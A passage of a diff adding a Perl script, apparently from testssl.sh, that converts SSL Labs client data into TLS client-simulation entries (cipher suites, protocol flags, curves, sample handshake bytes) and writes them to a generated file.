= lc($shortname); + + # Deduplicate + if ( ! exists $sims{$shortname} || $sims{$shortname}->{id} < $client->{id} ) { + my $sim = {}; + $sims{$shortname} = $sim; + $sim->{shortname} = "short+=(\"$shortname\")"; + + # Names + my $name = "$client->{name} $client->{version}"; + $name .= " $client->{platform}" if exists $client->{platform}; + # Get first namelength characters only + $name = substr($name . "" x $namelength,0,$namelength); + $sim->{name} = "names+=(\"$name\")"; + + # Ciphers + my @ciphers = (); + my @ciphersuites = (); + foreach my $suite ( @{$client->{suiteIds}} ) { + if ( $suite == "4865" ) { + push @ciphersuites, "TLS_AES_128_GCM_SHA256"; } + elsif ( $suite == "4866" ) { + push @ciphersuites, "TLS_AES_256_GCM_SHA384"; } + elsif ( $suite == "4867" ) { + push @ciphersuites, "TLS_CHACHA20_POLY1305_SHA256"; } + elsif ( $suite == "4868" ) { + push @ciphersuites, "TLS_AES_128_CCM_SHA256"; } + elsif ( $suite == "4869" ) { + push @ciphersuites, "TLS_AES_128_CCM_8_SHA256"; } + elsif ( exists $ciphers{$suite} ) { + push @ciphers, $ciphers{$suite}; } + elsif ( $suite == "255" ) { + # no openssl name for this: + if ( $has_matched ) { + print "Ignored: \"$shortname\" has" ; + $has_matched = 0; + } + print " \"0xFF\""; } + elsif ( $suite == "65279" ) { + # SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA + if ( $has_matched ) { + print "Ignored: \"$shortname\" has" ; + $has_matched = 0; + } + print " \"0xFEFF\""; } + elsif ( $suite == "52392" ) { + push @ciphers, "ECDHE-RSA-CHACHA20-POLY1305"; } + elsif ( $suite == "52393" ) { + push @ciphers, "ECDHE-ECDSA-CHACHA20-POLY1305"; } + elsif ( $suite == "52394" ) { + push @ciphers, "DHE-RSA-CHACHA20-POLY1305"; } + elsif ( $suite == "4865" ) { + push @ciphers, "TLS13-AES-128-GCM-SHA256"; } + elsif ( $suite == "4866" ) { + push @ciphers, "TLS13-AES-256-GCM-SHA384"; } + elsif ( $suite == "4867" ) { + push @ciphers, "TLS13-CHACHA20-POLY1305-SHA256"; } + elsif ( $suite == "4868" ) { + push @ciphers, "TLS13-AES-128-CCM-SHA256"; } + elsif ( $suite == "4869" ) { + push @ciphers, "TLS13-AES-128-CCM-8-SHA256"; } + elsif ( $suite == "2570" || $suite == "6682" || $suite == "10794" || + $suite == "14906" || $suite == "19018" || $suite == "23130" || + $suite == "27242" || $suite == "31354" || $suite == "35466" || + $suite == "39578" || $suite == "43690" || $suite == "47802" || + $suite == "51914" || $suite == "56026" || $suite == "60138" || + $suite == "64250" ) { + if ( $has_matched ) { + print " \"$shortname\": "; + $has_matched = 0; + } + print " skipping GREASE cipher "; printf("%s%04X", "0x", $suite); + } + else { + print " | FIXME: "; + if ( $has_matched ) { + print " \"$shortname\" has "; + $has_matched = 0; + } + printf("%s%04X", "0x", $suite); printf " ($suite)"; + } + } + print "\n" if ! $has_matched ; + $sim->{ciphers} = "ch_ciphers+=(\"" . (join ":", @ciphers) . "\")"; + $sim->{ciphersuites} = "ciphersuites+=(\"" . (join ":", @ciphersuites) . "\")"; + + # SNI + if ( exists $client->{supportsSni} && $client->{supportsSni} ) { + $sim->{sni} = "ch_sni+=(\"\$SNI\")"; + } else { + $sim->{sni} = "ch_sni+=(\"\")"; + } + + # warning (if needed) + $sim->{warning} = "warning+=(\"\")"; + + # Handshake + if ( exists $client->{hexHandshakeBytes} ) { + $sim->{handshakebytes} = "handshakebytes+=(\"$client->{hexHandshakeBytes}\")"; + } else { + $sim->{handshakebytes} = "handshakebytes+=(\"\")"; + } + + # protos + my @proto_flags = (); + my @tls_flags = (); + if ( $client->{lowestProtocol} == $client->{highestProtocol} ) { + if ( $client->{lowestProtocol} == 512 ) { + push @proto_flags, "-ssl2"; } + elsif ( $client->{lowestProtocol} == 768 ) { + push @proto_flags, "-ssl3"; } + elsif ( $client->{lowestProtocol} == 769 ) { + push @proto_flags, "-tls1"; } + elsif ( $client->{lowestProtocol} == 770 ) { + push @proto_flags, "-tls1_1"; } + elsif ( $client->{lowestProtocol} == 771 ) { + push @proto_flags, "-tls1_2"; } + elsif ( $client->{lowestProtocol} == 772 ) { + push @proto_flags, "-tls1_3"; } + } else { + # Figure out if we need to support sslv2 + if ( $client->{lowestProtocol} > 512 ) { + # 512 = 0x200 = sslv2 + push @proto_flags, "-no_ssl2"; + } + # Do we need to support SSL3? + if ( $client->{lowestProtocol} > 768 || $client->{highestProtocol} < 768 ) { + # 768 = 0x300 = sslv3 + push @proto_flags, "-no_ssl3"; + } + # Do we need to support TLS 1.0? + if ( $client->{lowestProtocol} > 769 || $client->{highestProtocol} < 769 ) { + # 769 = 0x301 = tls1.0 + push @proto_flags, "-no_tls1"; + } else { + push @tls_flags, "-tls1"; + } + # Do we need to support TLS 1.1? + if ( $client->{lowestProtocol} > 770 || $client->{highestProtocol} < 770 ) { + # 770 = 0x302 = tls1.1 + push @proto_flags, "-no_tls1_1"; + } else { + push @tls_flags, "-tls1_1"; + } + # Do we need to support TLS 1.2? + if ( $client->{lowestProtocol} > 771 || $client->{highestProtocol} < 771 ) { + # 771 = 0x303 = tls1.2 + push @proto_flags, "-no_tls1_2"; + } else { + push @tls_flags, "-tls1_2"; + } + } + $sim->{protos} = "protos+=(\"" . (join " ", reverse @proto_flags) . "\")"; + $sim->{tlsvers} = "tlsvers+=(\"" . (join " ", reverse @tls_flags) . "\")"; + $sim->{lowestProtocol} = sprintf("lowest_protocol+=(\"0x%04x\")", $client->{lowestProtocol}); + # https://api.dev.ssllabs.com/api/v3/getClients incorrectly indicates + # a highestProtocol of TLS 1.2 for clients that support TLS 1.3, which + # can lead to client simulation reporting "no connection" if the connection + # is made using TLS 1.3. In order to avoid this problem, assume that any + # client with a highestProtocol of TLS 1.2 that supports any TLS 1.3 + # ciphers really supports TLS 1.3. + if ( $client->{highestProtocol} != 771 || scalar(@ciphersuites) == 0 ) { + $sim->{highestProtocol} = sprintf("highest_protocol+=(\"0x%04x\")", $client->{highestProtocol}); + } else { + $sim->{highestProtocol} = sprintf("highest_protocol+=(\"0x0304\")", $client->{highestProtocol}); + } + + if ( lc($client->{name}) eq "java" || lc($client->{name}) eq "openssl" ) { + # Java and OpenSSL are generic clients + $sim->{service} = "service+=(\"ANY\")"; + } elsif ( $shortname =~ /^apple_ats/ ) { + # Apple ATS is HTTP(s) only + $sim->{service} = "service+=(\"HTTP\")"; + } else { + # All others are HTTP(s)/FTP only + $sim->{service} = "service+=(\"HTTP,FTP\")"; + } + + # Bit size limitations + $sim->{minDhBits} = "minDhBits+=($client->{minDhBits})"; + $sim->{maxDhBits} = "maxDhBits+=($client->{maxDhBits})"; + $sim->{minRsaBits} = "minRsaBits+=($client->{minRsaBits})"; + $sim->{maxRsaBits} = "maxRsaBits+=($client->{maxRsaBits})"; + $sim->{minEcdsaBits} = "minEcdsaBits+=($client->{minEcdsaBits})"; + if ( defined $client->{requiresSha2} && $client->{requiresSha2} ) { + $sim->{requiresSha2} = "requiresSha2+=(true)"; + } else { + $sim->{requiresSha2} = "requiresSha2+=(false)"; + } + + my @curves = (); + foreach my $curve ( @{$client->{ellipticCurves}} ) { + if ( $curve == 1 ) { + push @curves, "sect163k1"; } + elsif ( $curve == 2 ) { + push @curves, "sect163r1"; } + elsif ( $curve == 3 ) { + push @curves, "sect163r2"; } + elsif ( $curve == 4 ) { + push @curves, "sect193r1"; } + elsif ( $curve == 5 ) { + push @curves, "sect193r2"; } + elsif ( $curve == 6 ) { + push @curves, "sect233k1"; } + elsif ( $curve == 7 ) { + push @curves, "sect233r1"; } + elsif ( $curve == 8 ) { + push @curves, "sect239k1"; } + elsif ( $curve == 9 ) { + push @curves, "sect283k1"; } + elsif ( $curve == 10 ) { + push @curves, "sect283r1"; } + elsif ( $curve == 11 ) { + push @curves, "sect409k1"; } + elsif ( $curve == 12 ) { + push @curves, "sect409r1"; } + elsif ( $curve == 13 ) { + push @curves, "sect571k1"; } + elsif ( $curve == 14 ) { + push @curves, "sect571r1"; } + elsif ( $curve == 15 ) { + push @curves, "secp160k1"; } + elsif ( $curve == 16 ) { + push @curves, "secp160r1"; } + elsif ( $curve == 17 ) { + push @curves, "secp160r2"; } + elsif ( $curve == 18 ) { + push @curves, "secp192k1"; } + elsif ( $curve == 19 ) { + push @curves, "prime192v1"; } + elsif ( $curve == 20 ) { + push @curves, "secp224k1"; } + elsif ( $curve == 21 ) { + push @curves, "secp224r1"; } + elsif ( $curve == 22 ) { + push @curves, "secp256k1"; } + elsif ( $curve == 23 ) { + push @curves, "prime256v1"; } + elsif ( $curve == 24 ) { + push @curves, "secp384r1"; } + elsif ( $curve == 25 ) { + push @curves, "secp521r1"; } + elsif ( $curve == 26 ) { + push @curves, "brainpoolP256r1"; } + elsif ( $curve == 27 ) { + push @curves, "brainpoolP384r1"; } + elsif ( $curve == 28 ) { + push @curves, "brainpoolP512r1"; } + elsif ( $curve == 29 ) { + push @curves, "X25519"; } + elsif ( $curve == 30 ) { + push @curves, "X448"; } + elsif ( $curve == 31 ) { + push @curves, "brainpoolP256r1tls13"; } + elsif ( $curve == 32 ) { + push @curves, "brainpoolP384r1tls13"; } + elsif ( $curve == 33 ) { + push @curves, "brainpoolP512r1tls13"; } + } + $sim->{ellipticCurves} = "curves+=(\"" . (join ":", @curves) . "\")"; + } +} + +# +# This is where we maintain our own clients +my $sim = {}; +#$sim->{name} = "names+=(\"Mail iOS 9.3.2 \")"; +#$sim->{shortname} = "short+=(\"mail_ios_932\")"; +#$sim->{ciphers} = "ch_ciphers+=(\"ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:EDH-RSA-DES-CBC3-SHA:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:ECDHE-ECDSA-RC4-SHA:ECDHE-RSA-RC4-SHA:RC4-SHA:RC4-MD5\")"; +#$sim->{ciphersuites} = "ciphersuites+=(\"\")"; +#$sim->{sni} = "ch_sni+=(\"\$SNI\")"; +#$sim->{warning} = "warning+=(\"\")"; +#$sim->{handshakebytes} = "handshakebytes+=(\"16030100bb010000b703015767e6ae46f9abf3138e26a9f9880f9697bf3387f7eff709db1fa220e692d80420fb04b0979bae1664e11ef172d4dfba15af59dd200b7831992a35c73cde9efed9003200ffc024c023c00ac009c008c028c027c014c013c012006b0067003900330016003d003c0035002f000ac007c011000500040100003c000000190017000014696d61702e73656374696f6e7a65726f2e6f7267000a00080006001700180019000b0002010000050005010000000000120000\")"; +#$sim->{protos} = "protos+=(\"#-no_tls1_2 -no_ssl3 -no_ssl2\")"; +#$sim->{tlsvers} = "tlsvers+=(\"#-tls1_1 -tls1\")"; +#$sim->{lowestProtocol} = "lowest_protocol+=(\"0x0300\")"; +#$sim->{highestProtocol} = "highest_protocol+=(\"0x0301\")"; +#$sim->{service} = "service+=(\"SMTP,POP,IMAP\")"; +#$sim->{minDhBits} = "minDhBits+=(-1)"; +#$sim->{maxDhBits} = "maxDhBits+=(-1)"; +#$sim->{minRsaBits} = "minRsaBits+=(-1)"; +#$sim->{maxRsaBits} = "maxRsaBits+=(-1)"; +#$sim->{minEcdsaBits} = "minEcdsaBits+=(-1)"; +#$sim->{ellipticCurves} = "curves+=(\"sect233k1:secp256r1:secp384r1:secp521r1\")"; +#$sim->{requiresSha2} = "requiresSha2+=(false)"; +# +#$sim->{name} = "names+=(\"Mail OSX 10.11.15 \")"; +#$sim->{shortname} = "short+=(\"mail_osx_101115\")"; +#$sim->{ciphers} = "ch_ciphers+=(\"ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:EDH-RSA-DES-CBC3-SHA:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:ECDHE-ECDSA-RC4-SHA:ECDHE-RSA-RC4-SHA:RC4-SHA:RC4-MD5\")"; +#$sim->{ciphersuites} = "ciphersuites+=(\"\")"; +#$sim->{sni} = "ch_sni+=(\"\$SNI\")"; +#$sim->{warning} = "warning+=(\"\")"; +#$sim->{handshakebytes} = "handshakebytes+=(\"16030100940100009003015770e928499e82df2eb7477200e2a828d9fa4109514385bd1602df44aaf2b0f400003200ffc024c023c00ac009c008c028c027c014c013c012006b0067003900330016003d003c0035002f000ac007c011000500040100003500000012001000000d3137382e3233372e33342e3932000a00080006001700180019000b0002010000050005010000000000120000\")"; +#$sim->{protos} = "protos+=(\"-tls1\")"; +#$sim->{tlsvers} = "tlsvers+=(\"-tls1\")"; +#$sim->{lowestProtocol} = "lowest_protocol+=(\"0x0301\")"; +#$sim->{highestProtocol} = "highest_protocol+=(\"0x0301\")"; +#$sim->{service} = "service+=(\"SMTP,POP,IMAP\")"; +#$sim->{minDhBits} = "minDhBits+=(-1)"; +#$sim->{maxDhBits} = "maxDhBits+=(-1)"; +#$sim->{minRsaBits} = "minRsaBits+=(-1)"; +#$sim->{maxRsaBits} = "maxRsaBits+=(-1)"; +#$sim->{minEcdsaBits} = "minEcdsaBits+=(-1)"; +#$sim->{ellipticCurves} = "curves+=(\"sect233k1:secp256r1:secp384r1:secp521r1\")"; +#$sim->{requiresSha2} = "requiresSha2+=(false)"; + +# example of self generated / provided handshake: +$sim->{name} = "names+=(\"Thunderbird 45.1.1 OSX 10.11 \")"; +$sim->{shortname} = "short+=(\"thunderbird_45.1.1_osx_101115\")"; +$sim->{ciphers} = "ch_ciphers+=(\"ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:AES128-SHA:AES256-SHA:DES-CBC3-SHA\")"; +$sim->{ciphersuites} = "ciphersuites+=(\"\")"; +$sim->{sni} = "ch_sni+=(\"\$SNI\")"; +$sim->{warning} = "warning+=(\"\")"; +$sim->{handshakebytes} = "handshakebytes+=(\"160301009d010000990303c7c5b3ff80b3aa597c770c538b98ae34a94c9590ad8f947ba7bc28692061cb57000016c02bc02fc00ac009c013c01400330039002f0035000a0100005a0000001800160000136d78332e73656374696f6e7a65726f2e6f7267ff01000100000a00080006001700180019000b0002010000230000000500050100000000000d001600140401050106010201040305030603020304020202\")"; +$sim->{protos} = "protos+=(\"-no_ssl3 -no_ssl2\")"; +$sim->{tlsvers} = "tlsvers+=(\"-tls1_2 -tls1_1 -tls1\")"; +$sim->{lowestProtocol} = "lowest_protocol+=(\"0x0301\")"; +$sim->{highestProtocol} = "highest_protocol+=(\"0x0303\")"; +$sim->{service} = "service+=(\"SMTP,POP,IMAP\")"; +$sim->{minDhBits} = "minDhBits+=(-1)"; +$sim->{maxDhBits} = "maxDhBits+=(-1)"; +$sim->{minRsaBits} = "minRsaBits+=(-1)"; +$sim->{maxRsaBits} = "maxRsaBits+=(-1)"; +$sim->{minEcdsaBits} = "minEcdsaBits+=(-1)"; +$sim->{ellipticCurves} = "curves+=(\"sect233k1:secp256r1:secp384r1:secp521r1\")"; +$sim->{requiresSha2} = "requiresSha2+=(false)"; + +my %count; +foreach my $shortname ( reverse sort keys %sims ) { + if ( $shortname =~ /^baidu/ ) { + $count{baidu}++; + if ( $count{baidu} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^bing/) { + $count{bing}++; + if ( $count{bing} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^chrome/) { + $count{chrome}++; + if ( $count{chrome} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^firefox/) { + # Latest version + ESR releases + if ( $shortname =~ /ESR/ ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $count{firefox}++; + if ( $count{firefox} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } + } elsif ($shortname =~ /^googlebot/) { + $count{googlebot}++; + if ( $count{googlebot} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^tor/) { + $count{tor}++; + if ( $count{tor} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^yahoo/) { + $count{yahoo}++; + if ( $count{yahoo} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^yandex/) { + $count{yandex}++; + if ( $count{yandex} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^opera/) { + $count{opera}++; + if ( $count{opera} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^java 7/) { + $count{java7}++; + if ( $count{java7} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^java 8/) { + $count{java8}++; + if ( $count{java8} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^java/) { + # Other/older versions of java aren't current + $sims{$shortname}->{current} = "current+=(false)"; + } elsif ($shortname =~ /^openssl/) { + $count{openssl}++; + if ( $count{openssl} <= 1 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } elsif ($shortname =~ /^safari/) { + $count{safari}++; + if ( $count{safari} <= 2 ) { + $sims{$shortname}->{current} = "current+=(true)"; + } else { + $sims{$shortname}->{current} = "current+=(false)"; + } + } else { + # All versions are current + $sims{$shortname}->{current} = "current+=(true)"; + } +} + + +my $header = <<"EOF"; +# This file contains client handshake data used in the run_client_simulation() function. +# The file distributed with testssl.sh (etc/client-simulation.txt) has been generated +# from this script and manually edited (=which UA to show up) and sorted. +# +# Most clients are taken from Qualys SSL Labs --- From: https://api.dev.ssllabs.com/api/v3/getClients + +EOF + +open OUT, ">client-simulation_generated.txt" or die "Unable to open client-simulation_generated.txt"; +print OUT "$header"; + +foreach my $shortname ( sort keys %sims ) { + foreach my $k ( qw(name shortname ciphers ciphersuites sni warning handshakebytes protos tlsvers lowestProtocol highestProtocol service + minDhBits maxDhBits minRsaBits maxRsaBits minEcdsaBits ellipticCurves requiresSha2 current) ) { + print OUT " $sims{$shortname}->{$k}\n"; + } + print OUT "\n"; +} +close OUT; + +exit; + + +# vim:ts=5:sw=5:expandtab + |